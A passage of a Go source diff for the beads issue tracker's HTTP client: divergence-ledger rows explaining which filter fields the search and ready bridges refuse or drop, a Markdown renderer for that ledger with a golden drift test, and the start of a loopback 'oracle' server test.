IssueFilter."+field+" refuses on the SearchIssues bridge", bridgeWhy, + "D8 (off-role raw methods), D4, D11, D9 L12") + } + rows := make([]Row, 0, len(issueFilterBridgeRefusals)+4) + for _, field := range issueFilterBridgeRefusals { + rows = append(rows, bridgeRefusal(field)) + } + return append(rows, + Row{ + // No Type/Field: this row is about a PAIR of fields, and pinning it + // to either one would make the refusal read as if the other were + // fine on its own. + ID: "E-IssueFilter.shapeConflict", Kind: KindRefuse, + What: "an id set and a ParentID together refuse — the pair is NEITHER expressible shape", + Why: "the exact-ids shape dials getIssue per id and applies no filter at all, so honoring the parent restriction would mean discarding answers client-side; the descendant walk dials listIssues?parent=, which publishes no id filter, so honoring the ids would mean intersecting two answers no single wire call asked for. " + + "Both readings are drops wearing a filter's clothes, so the combination refuses before a shape is chosen", + SpecRow: "D4, D11, D9 L12", + PinnedBy: "TestASearchFilterMatchingNeitherShapeRefuses", + }, + refusal("E-IssueFilter.Limit@exactIDs", tyIssueFilter, "Limit", + "a Limit alongside an id set refuses", + "getIssue answers one row per call, so a Limit could only be applied by discarding answers the caller named explicitly", + "D11"), + Row{ + ID: "E-IssueFilter.IDs@bound", Kind: KindRefuse, + Type: tyIssueFilter, Field: "IDs", + What: "an id set larger than MaxExactIDs refuses", + Why: "the exact-ids shape costs one getIssue per id, so an unbounded set is an unbounded burst at one shared server. The bound is 100 and is a GUESS: open question 6 asks for the real call-site fan-out to be measured before GA", + SpecRow: "D11, open question 6", + PinnedBy: "TestTheExactIDsFanOutIsBounded", + }, + Row{ + ID: "E-IssueFilter.noShape", Kind: KindRefuse, + What: "a raw SearchIssues call matching neither expressible shape refuses", + Why: bridgeWhy + ". A filter naming no ids and no parent — the unbounded `everything` shape included — is not one of them", + SpecRow: "D8 (off-role raw methods), D4, D11, D9 L12", + PinnedBy: "TestASearchFilterMatchingNeitherShapeRefuses", + }, + Row{ + ID: "E-bridge-parent-shape", Kind: KindRetired, + What: "RETIRED — the ParentID-only shape was unreachable from `bd list --parent` as the CLI builds it, and the walk refused over http", + Why: "the escalation this row raised (ga-2ieek) was resolved by spec revision 6b428bf63 as semantic inversion: the wire publishes INTENTS (`all`, `include_templates`, `include_gates`, `include_infra`) rather than materialized exclusions, and the server's role re-derives the exclusions from the same builder against its own authoritative vocabulary. " + + "The bridge therefore inverts the derived members back to intents instead of encoding them, and the objection recorded here — that recognizing the baseline would be an unsanctioned second encoder — is answered by VERIFYING each candidate through workapi.BuildListFilter itself rather than reimplementing it. The live rules are the P-IssueFilter.* population", + SpecRow: "D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek", + PinnedBy: "TestTheParentWalkInvertsTheDerivedDefaults", + }, + ) +} + +// parentWalkRows classify types.IssueFilter against D4's descendant walk, which +// reads the SAME struct as the exact-ids shape and reads it differently. +// +// Three populations, and the split is the whole content of the ga-2ieek +// resolution: +// +// - the six DERIVED DEFAULTS workapi.BuildListFilter populates from the +// intent flags. A value the same builder would have derived for the intents +// being sent is accounted for and sends nothing; every other value refuses +// here. These are the rows the inversion raises by id; +// - the four members the walk carries that decide nothing, DROPPED with the +// argument that says why the difference cannot be read as a narrower or +// wider answer; +// - everything else, refused exactly as it is on the other shape — the walk +// just reaches it from a filter that has more populated than an id lookup +// ever does. +const parentWalkSpec = "D4 (`bd list --parent` hierarchical walk), D9 L12, escalation ga-2ieek" + +func parentWalkRows() []Row { + const pin = "TestTheParentWalkInvertsTheDerivedDefaults" + derived := func(field, what, why string) Row { + return Row{ + ID: "P-IssueFilter." + field, Kind: KindRefuse, + Type: tyIssueFilter, Field: field, + What: what, Why: why, SpecRow: parentWalkSpec, PinnedBy: pin, + } + } + walkRefusal := func(field string) Row { + return Row{ + ID: "P-IssueFilter." + field, Kind: KindRefuse, + Type: tyIssueFilter, Field: field, + What: "a populated IssueFilter." + field + " refuses on the descendant walk", + Why: "listIssues publishes no parameter for it, and the walk's inversion accounts only for the members BuildListFilter DERIVES plus the explicit filters the operation does publish. " + + "Anything left over is a restriction the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly", + SpecRow: parentWalkSpec, PinnedBy: pin, + } + } + drop := func(field, what, why string) Row { + return Row{ + ID: "P-IssueFilter." + field, Kind: KindDegrade, + Type: tyIssueFilter, Field: field, + What: what, Why: why, SpecRow: parentWalkSpec + ", D9", PinnedBy: pin, + } + } + + rows := []Row{ + derived("ExcludeStatus", "a status exclusion that is not the derived default refuses", + "listIssues publishes no exclude_status: the wire publishes the INTENT (`all`) and the server re-derives the exclusions from the same builder against its own authoritative vocabulary, which additionally heals L7's degraded client-side set for the walk. "+ + "An exclusion list no intent reproduces is therefore unstatable, and dropping it would widen the listing to closed work"), + derived("Pinned", "a pinned predicate that is not the derived default refuses", + "the pinned default is the FOURTH derived member and has no parameter of its own: `--pinned` selects the flagged rows and `--no-pinned` holds the unflagged predicate in place under `--all`, and the wire can express neither. "+ + "Its derived value is a function of the `all` intent alone — upstream #5333 stopped an every-status selector from forcing it, so `--status all` and `--all` are now one filter and one wire question — and a value that intent does not reproduce is a user's own predicate, which NARROWS, and that is precisely when dropping it would answer a different question"), + derived("IsTemplate", "a template predicate that is not the derived default refuses", + "listIssues publishes include_templates, an intent, not an is_template predicate. `&false` is what the absent flag derives and sends nothing; nil is what `--include-templates` derives and sends the flag; `&true` selects templates ONLY, which no intent on this operation can say"), + derived("ExcludeTypes", "a type exclusion beyond the derived gate and infra members refuses", + "listIssues publishes include_gates and include_infra — intents — and no exclude_type. The gate member and the whole infra vocabulary are what their absent flags derive; a leftover member is a user's `--exclude-type`, and dropping it would return the type they asked to hide"), + derived("Ephemeral", "an ephemeral predicate that is not the derived default refuses", + "BuildListFilter sets it only for an infra `--type`, from the same flag the walk already encodes; the wire publishes no ephemeral PREDICATE on the listing — include_ephemeral is an intent that ADMITS the plane, not a selector that restricts to it — so any other value is unstatable"), + derived("SkipWisps", "a wisp-merge opt-out that is not the derived default refuses", + "NARROWED by client wave ga-mijra, which closed the client-side gap this row used to record. The walk now encodes include_ephemeral — SkipWisps going false IS that intent, and it is read back off the member the way every other derived default is — so a wisp-inclusive descendant listing crosses instead of refusing, which is the shape gc's TierBoth reads take. "+ + "What still refuses is a SkipWisps no set of intents reproduces: holding the plane out while include_infra or an infra `--type` admits it. BuildListFilter never builds that pair, so it is a hand-made filter rather than a flag combination, and dropping the opt-out would merge a plane the caller asked to skip"), + drop("SortBy", "the walk's sort key is DROPPED", + "findAllDescendants accumulates every level into a map keyed by id, so no per-level order reaches the answer: the walk's own assembly discards it before the caller sees it. This is a drop with nothing to drop, and the rendering order is the tree renderer's"), + drop("SortDesc", "the walk's sort direction is DROPPED", + "the other half of the order findAllDescendants discards; see P-IssueFilter.SortBy"), + drop("SkipLabels", "the label-hydration opt-out is DROPPED", + "the listing publishes no hydration parameter, so the client cannot ask the server to skip the labels join. Dropping it hands the caller MORE data and never fewer rows, so it cannot be misread as a narrower or wider answer"), + drop("SkipCounts", "the cardinality-hydration opt-out is DROPPED", + "the same absence as SkipLabels, and here refusing would be actively wrong: every text rendering of `bd list` sets it, so a refusal would kill the walk's DEFAULT rendering — the one behavior D4 classifies the walk as served in order to keep"), + } + + for _, field := range parentWalkRefusals { + rows = append(rows, walkRefusal(field)) + } + return append(rows, Row{ + // No Type/Field: this row is about the whole recognition failing, not + // about one member. It fires when the builder rejects every candidate + // intent, which means the filter names vocabulary this client cannot + // reproduce at all. + ID: "P-IssueFilter.unrecognized", Kind: KindRefuse, + What: "a descendant-walk filter whose intents this client cannot reproduce at all refuses", + Why: "the inversion proves a candidate by RE-RUNNING workapi.BuildListFilter and comparing the derived members, so a candidate the builder itself rejects — an unknown status, a vocabulary the client's degraded copy does not carry (L7) — is never compared. " + + "When every candidate is rejected that way there is no member to blame, and refusing on the recognition is the only honest answer", + SpecRow: parentWalkSpec + ", D9 L7", + PinnedBy: pin, + }) +} + +// parentWalkRefusals enumerates the IssueFilter members that refuse on the +// descendant walk: everything BuildListFilter can carry that is neither a +// derived default nor a filter listIssues publishes. +// +// Written out rather than derived, for the reason issueFilterBridgeRefusals is: +// a list computed from the struct would absorb a field added upstream, and the +// bijection gate exists to catch exactly that arrival. +var parentWalkRefusals = []string{ + "Priority", "LabelPattern", "LabelRegex", + "TitleSearch", "IDPrefix", "SpecIDPrefix", + "TitleContains", "DescriptionContains", "NotesContains", "ExternalRefContains", "ExternalRef", + "UpdatedAfter", "UpdatedBefore", "ClosedAfter", "ClosedBefore", "StartedAfter", "StartedBefore", + "AfterCreatedAt", "AfterID", "AfterPriority", + "EmptyDescription", "NoAssignee", "NoLabels", "PriorityMin", "PriorityMax", + "SourceRepo", "EphemeralTier", "IsBlocked", "NoParent", "MolType", "WispType", + "Deferred", "DeferAfter", "DeferBefore", "DueAfter", "DueBefore", "Overdue", + "IncludeDependencies", "NoIDShrink", "Offset", "Lite", +} + +// issueFilterBridgeRefusals enumerates the IssueFilter members that refuse in +// BOTH bridge shapes, in declaration order. +// +// It is written out rather than reflected FROM types.IssueFilter on purpose: a +// list derived from the struct would silently absorb a field added upstream, +// which is the one event this whole gate exists to catch. Both the ledger and +// the encoder tables read this one enumeration, so the two cannot disagree. +var issueFilterBridgeRefusals = []string{ + "Status", "Statuses", "Priority", "IssueType", "Assignee", + "Labels", "LabelsAny", "ExcludeLabels", "LabelPattern", "LabelRegex", + "TitleSearch", "IDPrefix", "SpecIDPrefix", + "TitleContains", "DescriptionContains", "NotesContains", "ExternalRefContains", "ExternalRef", + "CreatedAfter", "CreatedBefore", "UpdatedAfter", "UpdatedBefore", + "ClosedAfter", "ClosedBefore", "StartedAfter", "StartedBefore", + "AfterCreatedAt", "AfterID", "AfterPriority", + "EmptyDescription", "NoAssignee", "NoLabels", "PriorityMin", "PriorityMax", + "SourceRepo", "Ephemeral", "EphemeralTier", "Pinned", "IsBlocked", "IsTemplate", + "NoParent", "MolType", "WispType", "ExcludeStatus", "ExcludeTypes", + "Deferred", "DeferAfter", "DeferBefore", "DueAfter", "DueBefore", "Overdue", + "MetadataFields", "HasMetadataKey", + "IncludeDependencies", "SkipLabels", "SkipCounts", "SkipWisps", "NoIDShrink", + "Offset", "SortBy", "SortDesc", "MaxRows", "MaxRowsSource", "Lite", +} + +// workFilterRows classify types.WorkFilter against the reverse ready bridge. +// +// The bridge exists because `bd ready`'s listing is still raw at tip, so the +// client has to map a WorkFilter back onto ready parameters until the front +// door moves onto issueops.Reader. It is deliberately throwaway; what is not +// throwaway is that it refuses every field it cannot express (L12). +func workFilterRows() []Row { + bridge := func(field, what, why string) Row { + return refusal("E-WorkFilter."+field, tyWorkFilter, field, what, why, + "D8 (off-role ready bridge), D9 L12") + } + return []Row{ + { + // The one DEGRADE on this bridge, and it is here rather than among + // the refusals because it is not a filter: it is the same free-form + // text projection ReadyRequest.Brief carries, reached from the + // legacy shape. WorkFilter.Lite IS ReadyRequest.Brief — workapi + // assigns one to the other — so the two dispositions have to agree + // or the same request answers differently depending on which door + // it came in. + ID: "E-WorkFilter.Lite", Kind: KindRetired, + What: "RETIRED — the ready bridge maps Lite onto `brief`, the same parameter ReadyRequest.Brief now sends", + Why: briefRetiredWhy, + SpecRow: dropSpec, + PinnedBy: dropPin, + }, + { + // A DERIVED DEFAULT, not a flat refusal (D4's parent-walk inversion, + // applied here): the one value the server re-derives drops, every + // other refuses. KindRefuse because the disposition is DispInverted, + // which the encoder drives exactly as a refusal — its sentinel value + // is by construction not the derived one. + ID: "E-WorkFilter.Status", Kind: KindRefuse, + Type: tyWorkFilter, Field: "Status", + What: "a ready-work status that is not the derived default refuses; the default (open only) is DERIVED server-side and drops", + Why: "listReadyWork publishes no status parameter: handleReady decodes a status-LESS request and the server re-derives ready work's status through workapi.BuildReadyFilter, which is unconditionally StatusOpen — open work only, the set `bd list --ready` shows. The client sends that one derived value as the absence the server reads it back from, so every real `bd ready` and `bd ready --json` (whose filter BuildReadyFilter always stamps StatusOpen) round-trips to the identical rows. Any other status is unstatable and refuses: a named status would answer over the query's open-only default rather than the set named, and the empty status is the storage layer's own open+in_progress default, which this operation cannot express either", + SpecRow: "D8 (off-role ready bridge), D9 L12, D4 (derived-default inversion, escalation ga-2ieek)", + PinnedBy: fieldPin, + }, + bridge("Statuses", "a multi-status OR set on ready work refuses", + "listReadyWork publishes no status parameter, and an OR-set is neither the server's derived default (open only) nor anything the wire can carry — dropping it would widen the answer to statuses the caller did not ask for, so it refuses alongside a non-default Status (L12)"), + bridge("MoleculeID", "restricting ready work to one molecule's direct children refuses", + "listReadyWork publishes `parent` for the RECURSIVE descendant restriction and nothing for direct membership; the two are different sets, so `parent` is not a substitute"), + bridge("MolType", "a molecule-type restriction on ready work refuses", + "no wire parameter — the same absence E-ReadyRequest.MolType records, reached from the other source shape"), + bridge("WispType", "a wisp-type restriction on ready work refuses", + "listReadyWork publishes include_ephemeral, which admits the wisp plane wholesale, and nothing that selects a wisp TYPE within it"), + bridge("ExcludeIDs", "an id exclusion set on ready work refuses", + "listReadyWork publishes no id-exclusion parameter; the set is what the external-dependency policy decorator (upstream #4753) injects to hide sources behind unsatisfied external blockers, and dropping it would widen the answer to exactly the issues the caller's policy excluded (L12). A server that advertises policy.external_dependencies applies the policy itself, so the client never builds the set for it"), + bridge("Offset", "a non-zero Offset on ready work refuses", + "no wire parameter, and ready work carries no keyset position to page by; see E-ReadyRequest.Offset"), + } +} diff --git a/internal/httpclient/encode/ledger_render.go b/internal/httpclient/encode/ledger_render.go new file mode 100644 index 000000000..e1416c825 --- /dev/null +++ b/internal/httpclient/encode/ledger_render.go @@ -0,0 +1,216 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/ledger_render.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import ( + "fmt" + "strings" +) + +// RenderLedgerMarkdown renders divergence ledger v1 as the human-readable +// shipped artifact engdocs/design/http-divergence-ledger.md. +// +// It reads Ledger() — the same machine-checked source the encoder consults and +// the bijection gate holds honest — so the doc cannot enumerate a divergence +// the client does not, nor omit one it does. A golden test regenerates this +// output and fails CI if the committed doc drifts from the source, which is the +// second half of the anti-drift chain: the bijection gate pins the ledger to +// the wire, and the golden test pins this doc to the ledger. +// +// Every row in Ledger() lands in exactly one section here; a row whose id +// matches no known population still renders, in the trailing "Other +// divergences" section, so a new population is loud rather than dropped. +func RenderLedgerMarkdown() string { + rows := Ledger() + + sections := []struct { + title string + blurb string + matches func(id string) bool + }{ + { + "Whole-behavior divergences (D9 ledger)", + "The L-rows the design's D9 table names: whole behaviors that differ over HTTP, each degraded knowingly or refused outright. Retired rows stay so the L-numbers every citation uses keep resolving.", + func(id string) bool { return strings.HasPrefix(id, "L") }, + }, + { + "Write-side refuse-not-drop (D8)", + "Role-request fields on the served writes that the v0 wire publishes no member for. Each refuses rather than forwarding a write shorn of the field — a silently dropped precondition or flag would widen what the write touches.", + func(id string) bool { return strings.HasPrefix(id, "W-") }, + }, + { + "Command and flag refusals (D7)", + "Whole commands, and the flag modes of served commands, that dispatch onto methods the wire does not carry. They refuse early — before RunE — in the user's own command/flag vocabulary.", + func(id string) bool { return strings.HasPrefix(id, "F-") }, + }, + { + "Ready-request fields", + "Members of the ready vocabulary the wire cannot express.", + func(id string) bool { return strings.HasPrefix(id, "E-ReadyRequest") }, + }, + { + "List-request fields", + "The listing publishes far more filters than the v0 wire does; every one the wire lacks refuses rather than dropping, because a dropped list filter widens the page invisibly. Two hydration opt-outs are dropped instead, with the argument for why that cannot be misread as a narrower or wider answer.", + func(id string) bool { return strings.HasPrefix(id, "E-ListRequest") }, + }, + { + "Query-request fields", + "The boolean-query surface publishes almost its whole vocabulary; this is what is left over.", + func(id string) bool { return strings.HasPrefix(id, "E-QueryRequest") }, + }, + { + "Search bridge / IssueFilter (D4, D11)", + "The off-role SearchIssues bridge serves two shapes and no others: the exact-ids fast path and the parent descendant walk. Every other populated IssueFilter member is a filter the bridge would have to drop to answer, so it refuses.", + func(id string) bool { + return strings.HasPrefix(id, "E-IssueFilter") || strings.HasPrefix(id, "E-bridge") + }, + }, + { + "Parent-walk derived defaults (D4)", + "The descendant walk reads the same IssueFilter as the exact-ids shape and reads it differently. The wire publishes intents (all, include_templates, include_gates, include_infra) and the server re-derives the exclusions; the bridge inverts the derived defaults back to intents and refuses anything the inversion cannot account for.", + func(id string) bool { return strings.HasPrefix(id, "P-") }, + }, + { + "Ready bridge / WorkFilter (D8)", + "The throwaway bridge that maps a WorkFilter back onto ready parameters until the front door moves onto issueops.Reader. It refuses every field it cannot express.", + func(id string) bool { return strings.HasPrefix(id, "E-WorkFilter") }, + }, + } + + assigned := make([]bool, len(rows)) + var b strings.Builder + + fmt.Fprint(&b, ledgerDocPreamble) + + var refuse, degrade, retired int + for _, r := range rows { + switch r.Kind { + case KindRefuse: + refuse++ + case KindDegrade: + degrade++ + case KindRetired: + retired++ + } + } + fmt.Fprintf(&b, "## Summary\n\n") + fmt.Fprintf(&b, "%d rows: %d refuse, %d degrade, %d retired.\n\n", + len(rows), refuse, degrade, retired) + + writeSection := func(title, blurb string, idxs []int) { + fmt.Fprintf(&b, "## %s\n\n", title) + if blurb != "" { + fmt.Fprintf(&b, "%s\n\n", blurb) + } + fmt.Fprint(&b, "| ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test |\n") + fmt.Fprint(&b, "|---|---|---|---|---|---|---|\n") + for _, i := range idxs { + r := rows[i] + fmt.Fprintf(&b, "| %s | %s | %s | %s | %s | %s | %s |\n", + cell(r.ID), cell(string(r.Kind)), fieldFlag(r), + cell(r.What), cell(r.Why), cell(r.SpecRow), cell(r.PinnedBy)) + } + fmt.Fprint(&b, "\n") + } + + for _, s := range sections { + var idxs []int + for i, r := range rows { + if !assigned[i] && s.matches(r.ID) { + assigned[i] = true + idxs = append(idxs, i) + } + } + if len(idxs) > 0 { + writeSection(s.title, s.blurb, idxs) + } + } + + var leftover []int + for i := range rows { + if !assigned[i] { + leftover = append(leftover, i) + } + } + if len(leftover) > 0 { + writeSection("Other divergences", + "Rows whose id matched no known population. A new one here means RenderLedgerMarkdown needs a section for it.", + leftover) + } + + return b.String() +} + +// fieldFlag renders the Go request field and the user's flag spelling a row +// carries, as inline code; "—" when the row describes a behavior with neither. +func fieldFlag(r Row) string { + var parts []string + if r.Type != nil { + parts = append(parts, "`"+r.Type.Name()+"."+r.Field+"`") + } + if r.Flag != "" { + parts = append(parts, "`"+r.Flag+"`") + } + if len(parts) == 0 { + return "—" + } + return strings.Join(parts, " ") +} + +// cell makes an arbitrary ledger string safe for one Markdown table cell: +// pipes are escaped so they do not read as column breaks, and every run of +// whitespace (the Why strings are built by concatenation and can carry +// newlines) collapses to a single space. +func cell(s string) string { + s = strings.ReplaceAll(s, "|", "\\|") + return strings.Join(strings.Fields(s), " ") +} + +const ledgerDocPreamble = ` + + + +# bd HTTP mode — the divergence ledger + +This is the shipped, human-readable rendering of divergence ledger v1: every +place ` + "`bd`" + `'s HTTP client mode observably differs from local (embedded/served) +mode, each with its reason and the test that pins it. + +The discipline (design decision D9) is empty-by-default and test-asserted: +**every knowingly-degraded behavior is a ledger row with a pinned test, and a +degradation not in this table is a bug.** ` + "`refuse`" + ` rows fail rather than +proceeding — a dropped filter widens a result set invisibly, the one failure +class no server-side gate can observe — while ` + "`degrade`" + ` rows proceed with a +difference argued to be unmisreadable as a narrower or wider answer than the +caller asked for. + +This file is generated from ` + "`internal/httpclient/encode`" + `'s +` + "`Ledger()`" + `, the machine-readable source the client actually consults. Do not +hand-edit it: change the ledger in Go and regenerate. Two gates keep it honest — +the encoder's reflection **bijection gate** pins the ledger to the wire (a +request field added upstream lands here or fails CI), and the golden test +` + "`TestDivergenceLedgerDocMatchesLedger`" + ` pins this doc to the ledger. The prose +rationale, the decision numbers (D-rows) each entry cites, and the full test-lane +map live in the architecture spec, ` + "`http-client-backend.md`" + `, which is not +included in this repository. + +A handful of rows still carry a ` + "`TODO`" + ` pin: these are the read-display and +pre-run residuals (wisp-in-list, the pretty ` + "`bd ready`" + ` parent-epic map, the +molecule/auto-import pre-run degradations). The +client core is complete; ` + "`ga-b8ddd.12`" + ` (per-request project-id enforcement) +closed the read-display escalation, so pinning the remaining fixture corpus is +deferred work, tracked on ` + "`ga-b8ddd.23`" + ` (the read-display residual) +and ` + "`ga-b8ddd.19`" + ` (the per-id D7 taxonomy). They are refusals or degradations +already in force — the ` + "`TODO`" + ` is on the test that will hold each one, not on +the behavior. + +## Kind + +- **refuse** — the operation fails; the wire cannot express what was asked and + proceeding would silently widen or narrow the answer. +- **degrade** — the operation proceeds with a knowingly different behavior that + cannot be misread as a different answer to the question asked. +- **retired** — a row a later council removed; kept so its L-number keeps + resolving and a re-enumeration can tell "retired" from "never existed". + +` diff --git a/internal/httpclient/encode/ledger_render_test.go b/internal/httpclient/encode/ledger_render_test.go new file mode 100644 index 000000000..f66b1886b --- /dev/null +++ b/internal/httpclient/encode/ledger_render_test.go @@ -0,0 +1,54 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/ledger_render_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import ( + "flag" + "os" + "path/filepath" + "testing" +) + +//go:generate go test . -run TestDivergenceLedgerDocMatchesLedger -update-ledger-doc + +var updateLedgerDoc = flag.Bool("update-ledger-doc", false, + "rewrite engdocs/design/http-divergence-ledger.md from the ledger instead of comparing") + +// ledgerDocPath is the shipped artifact, relative to this package directory: +// internal/httpclient/encode -> repo root is three levels up. +var ledgerDocPath = filepath.Join("..", "..", "..", + "engdocs", "design", "http-divergence-ledger.md") + +// TestDivergenceLedgerDocMatchesLedger is the anti-drift half of the ledger's +// well-formedness chain. The bijection gate holds Ledger() honest against the +// wire; this holds the shipped doc honest against Ledger(), so the doc cannot +// describe a divergence set the client does not implement. +// +// It runs in the default (untagged) PR-Core lane with the rest of this package, +// so a ledger edit that forgets to regenerate the doc fails CI on every PR. +// Regenerate with -update-ledger-doc (or go generate ./...). +func TestDivergenceLedgerDocMatchesLedger(t *testing.T) { + want := RenderLedgerMarkdown() + + if *updateLedgerDoc { + if err := os.WriteFile(ledgerDocPath, []byte(want), 0o644); err != nil { + t.Fatalf("writing %s: %v", ledgerDocPath, err) + } + t.Logf("regenerated %s", ledgerDocPath) + return + } + + got, err := os.ReadFile(ledgerDocPath) + if err != nil { + t.Fatalf("reading %s: %v\nregenerate with: go test ./internal/httpclient/encode -run %s -update-ledger-doc", + ledgerDocPath, err, t.Name()) + } + + if string(got) != want { + t.Fatalf("engdocs/design/http-divergence-ledger.md is stale: it no longer matches the ledger in encode.Ledger().\n"+ + "The shipped divergence ledger is generated from source and must not be hand-edited.\n"+ + "Regenerate it with:\n"+ + " go test ./internal/httpclient/encode -run %s -update-ledger-doc\n"+ + "(or: go generate ./internal/httpclient/encode)", t.Name()) + } +} diff --git a/internal/httpclient/encode/oracle_test.go b/internal/httpclient/encode/oracle_test.go new file mode 100644 index 000000000..e50e06dc7 --- /dev/null +++ b/internal/httpclient/encode/oracle_test.go @@ -0,0 +1,281 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/oracle_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import ( + "context" + "io" + "net/http" + "net/url" + "sync" + "testing" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/issueops" + "github.com/steveyegge/beads/memoryops" +) + +// The oracle: a real bd serve, bound to loopback, answering from roles that +// record the request the PRODUCTION decoder built and nothing else. +// +// A real server rather than a call into the decoding helpers, because the +// helpers are unexported and — more to the point — because the properties this +// gate needs are the SERVER's, not a function's: the route table has to accept +// the path, the Host policy has to admit the request, and the +// unknown-parameter rule has to run. A parameter this client sends that the +// operation does not publish is a 400 from that rule, and the 400 is half the +// assertion. +// +// The WHOLE role set because httpapi.Listen requires it rather than a partial +// one — a Config missing one role would bind, answer every other route, and fail +// that one with a nil dereference on a live server. Four of them record and the +// rest are interface stubs this surface never dials, and a stub that IS dialed +// by accident panics rather than answering, which is the loud failure a nil +// would not have been. + +type oracle struct { + base string + + mu sync.Mutex + ready issueops.ReadyRequest + list issueops.ListRequest + get issueops.GetRequest + count issueops.ReadyRequest + query issueops.QueryRequest + issueCount issueops.CountRequest + issueGroup issueops.CountByGroupRequest + visited map[string]bool +} + +func startOracle(t *testing.T) *oracle { + t.Helper() + o := &oracle{visited: map[string]bool{}} + + srv, err := httpapi.Listen(httpapi.Config{ + Addr: "127.0.0.1:0", + Stdout: io.Discard, + Stderr: io.Discard, + + Reader: recordingReader{o}, + ReadyCounter: recordingCounter{o}, + Querier: recordingQuerier{o}, + Counter: recordingIssueCounter{o}, + + Claimer: stubClaimer{}, + ReadyClaimer: stubReadyClaimer{}, + Releaser: stubReleaser{}, + Lifecycle: stubLifecycle{}, + Settings: stubSettings{}, + Stats: stubStats{}, + CycleDetector: stubCycles{}, + EdgeReader: stubEdges{}, + GraphCounter: stubGraphCounter{}, + Relations: stubRelations{}, + Commenter: stubCommenter{}, + BlockingAnnotator: stubBlocking{}, + TreeWalker: stubTree{}, + Sweeper: stubSweeper{}, + Deleter: stubDeleter{}, + BatchCreator: stubBatchCreator{}, + BatchCloser: stubBatchCloser{}, + DependencyEditor: stubDependencyEditor{}, + MetadataCAS: stubMetadataCAS{}, + BatchApplier: stubBatchApplier{}, + Memories: stubMemories{}, + }) + if err != nil { + t.Fatalf("bind the oracle: %v", err) + } + + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { defer close(done); _ = srv.Serve(ctx) }() + t.Cleanup(func() { cancel(); <-done }) + + o.base = "http://" + srv.Addr() + return o +} + +func (o *oracle) reset() { + o.mu.Lock() + defer o.mu.Unlock() + o.ready, o.list, o.get, o.count, o.query = issueops.ReadyRequest{}, issueops.ListRequest{}, issueops.GetRequest{}, issueops.ReadyRequest{}, issueops.QueryRequest{} + o.issueCount, o.issueGroup = issueops.CountRequest{}, issueops.CountByGroupRequest{} + o.visited = map[string]bool{} +} + +// dial issues the encoded request against the operation's route and reports the +// status. +func (o *oracle) dial(t *testing.T, op Op, encoded Encoded) int { + t.Helper() + + var path string + switch op { + case OpListReadyWork: + path = "/v0/beads/ready" + case OpCountReadyWork: + path = "/v0/beads/ready:count" + case OpListIssues: + path = "/v0/beads/issues" + case OpQueryIssues: + path = "/v0/beads/issues:query" + case OpCountIssues: + path = "/v0/beads/issues:count" + case OpGetIssue: + if len(encoded.PathIDs) != 1 { + t.Fatalf("getIssue needs exactly one path id, got %v", encoded.PathIDs) + } + path = "/v0/beads/issues/" + url.PathEscape(encoded.PathIDs[0]) + default: + t.Fatalf("no route for operation %q", op) + } + + target := o.base + path + if query := encoded.Params.Encode(); query != "" { + target += "?" + query + } + + resp, err := http.Get(target) //nolint:gosec // a loopback oracle bound by this test + if err != nil { + t.Fatalf("dial %s: %v", target, err) + } + defer func() { _ = resp.Body.Close() }() + body, _ := io.ReadAll(resp.Body) + if resp.StatusCode != http.StatusOK { + t.Logf("%s -> %d %s", target, resp.StatusCode, body) + } + return resp.StatusCode +} + +// captured returns the request the server's decoder built for the operation. +// +// It keys on the SHAPE as well as the operation, because countIssues answers +// two of them on one route: `group_by` picks between the scalar method and the +// bucketed one, and the two roles are handed different request types. Reading +// the scalar one back for a grouped case would compare the caller's dimension +// against a request that has nowhere to hold it. +func (o *oracle) captured(t *testing.T, op Op, shape string) any { + t.Helper() + o.mu.Lock() + defer o.mu.Unlock() + if !o.visited[visitKey(op, shape)] { + t.Fatalf("the %s/%s handler never reached its role; the request was refused before decoding", op, shape) + } + switch { + case op == OpListReadyWork: + return o.ready + case op == OpCountReadyWork: + return o.count + case op == OpListIssues: + return o.list + case op == OpQueryIssues: + return o.query + case op == OpCountIssues && shape == "byGroup": + return o.issueGroup + case op == OpCountIssues: + return o.issueCount + case op == OpGetIssue: + return o.get + } + t.Fatalf("nothing captured for operation %q shape %q", op, shape) + return nil +} + +// visitKey names the SERVER-side arm a client shape reaches. +// +// A client shape is usually invisible from here — the two bridges map a legacy +// filter onto an operation the server answers with one handler and one role +// method, so `workFilterBridge` and the primary listing are the same arm. The +// count is the exception the parameter carries: `group_by` picks between +// Counter.Count and Counter.CountByGroup, which are two methods handed two +// request types, so that one shape gets a key of its own. +func visitKey(op Op, shape string) string { + if op == OpCountIssues && shape == "byGroup" { + return string(op) + "/byGroup" + } + return string(op) +} + +type recordingReader struct{ o *oracle } + +func (r recordingReader) Ready(_ context.Context, req issueops.ReadyRequest) (issueops.IssuePage, error) { + r.o.mu.Lock() + defer r.o.mu.Unlock() + r.o.ready, r.o.visited[visitKey(OpListReadyWork, "")] = req, true + return issueops.IssuePage{Items: []*issueops.IssueWithCounts{}}, nil +} + +func (r recordingReader) List(_ context.Context, req issueops.ListRequest) (issueops.IssuePage, error) { + r.o.mu.Lock() + defer r.o.mu.Unlock() + r.o.list, r.o.visited[visitKey(OpListIssues, "")] = req, true + return issueops.IssuePage{Items: []*issueops.IssueWithCounts{}}, nil +} + +func (r recordingReader) Get(_ context.Context, req issueops.GetRequest) (*issueops.IssueDetails, error) { + r.o.mu.Lock() + defer r.o.mu.Unlock() + r.o.get, r.o.visited[visitKey(OpGetIssue, "")] = req, true + return &issueops.IssueDetails{}, nil +} + +type recordingCounter struct{ o *oracle } + +func (c recordingCounter) CountReady(_ context.Context, req issueops.ReadyRequest) (issueops.ReadyCountResult, error) { + c.o.mu.Lock() + defer c.o.mu.Unlock() + c.o.count, c.o.visited[visitKey(OpCountReadyWork, "")] = req, true + return issueops.ReadyCountResult{}, nil +} + +type recordingQuerier struct{ o *oracle } + +func (q recordingQuerier) Query(_ context.Context, req issueops.QueryRequest) (issueops.IssuePage, error) { + q.o.mu.Lock() + 